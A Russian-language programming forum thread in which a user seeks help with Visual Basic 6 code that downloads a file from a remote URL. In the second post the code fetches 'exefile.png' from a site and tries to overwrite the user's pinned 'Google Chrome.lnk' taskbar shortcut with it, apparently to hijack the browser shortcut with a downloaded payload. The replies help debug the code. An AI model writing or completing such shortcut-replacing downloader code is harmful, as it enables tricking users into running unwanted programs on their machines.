|
Ошибка в коде. Написанный на Visual Basic 6
|
|||
---|---|---|---|
#18+
Доброго времени суток. Нужна помощь ((( Вот код, который записывает фото, но, не сохраняет его там где хочется. Dim lngRetVal As Long lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0) If lngRetVal = 0 Then DownloadFile = True End Function Private Sub Form_Load() DownloadFile " http://opaaa.ru/xxx.png", "C:-|%USERPROFILE%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\XXX.PNG" MsgBox "OKS !" End Sub Не могу понять в чем проблема. Помогите, пожалуйста! ... |
|||
:
Нравится:
Не нравится:
|
|||
25.11.2016, 22:09 |
|
Ошибка в коде. Написанный на Visual Basic 6
|
|||
---|---|---|---|
#18+
C:-| ? ... |
|||
:
Нравится:
Не нравится:
|
|||
25.11.2016, 22:19 |
|
Ошибка в коде. Написанный на Visual Basic 6
|
|||
---|---|---|---|
#18+
Roman Mejtes, Да, уже разобралась с ошибкой. все сделала. Только у меня еще один вопрос Private Declare Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" ( _ ByVal pCaller As Long, _ ByVal szURL As String, _ ByVal szFileName As String, _ ByVal dwReserved As Long, _ ByVal lpfnCB As Long) _ As Long Public Function DownloadFile( _ URL As String, _ LocalFilename As String) _ As Boolean Dim lngRetVal As Long lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0) If lngRetVal = 0 Then DownloadFile = True End Function Private Sub Form_Load() DownloadFile " http://mysite.com/exefile.png", Environ("USERPROFILE";-) & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk" MsgBox "OKS !" End Sub в указанной папке есть ярлык Google Chrome.lnk почему он его не может заменить ? ... |
|||
:
Нравится:
Не нравится:
|
|||
25.11.2016, 22:25 |
|
Ошибка в коде. Написанный на Visual Basic 6
|
|||
---|---|---|---|
#18+
Daiana, https://www.experts-exchange.com/questions/20972285/why-the-function-URLDownloadToFileA-of-urlmon-doesn't-work-on-my-computer.html ... |
|||
:
Нравится:
Не нравится:
|
|||
26.11.2016, 05:05 |
|
|
start [/forum/topic.php?fid=60&fpage=18&tid=2155380]: |
0ms |
get settings: |
10ms |
get forum list: |
13ms |
check forum access: |
3ms |
check topic access: |
3ms |
track hit: |
25ms |
get topic data: |
11ms |
get forum data: |
3ms |
get page messages: |
45ms |
get tp. blocked users: |
2ms |
others: | 13ms |
total: | 128ms |
0 / 0 |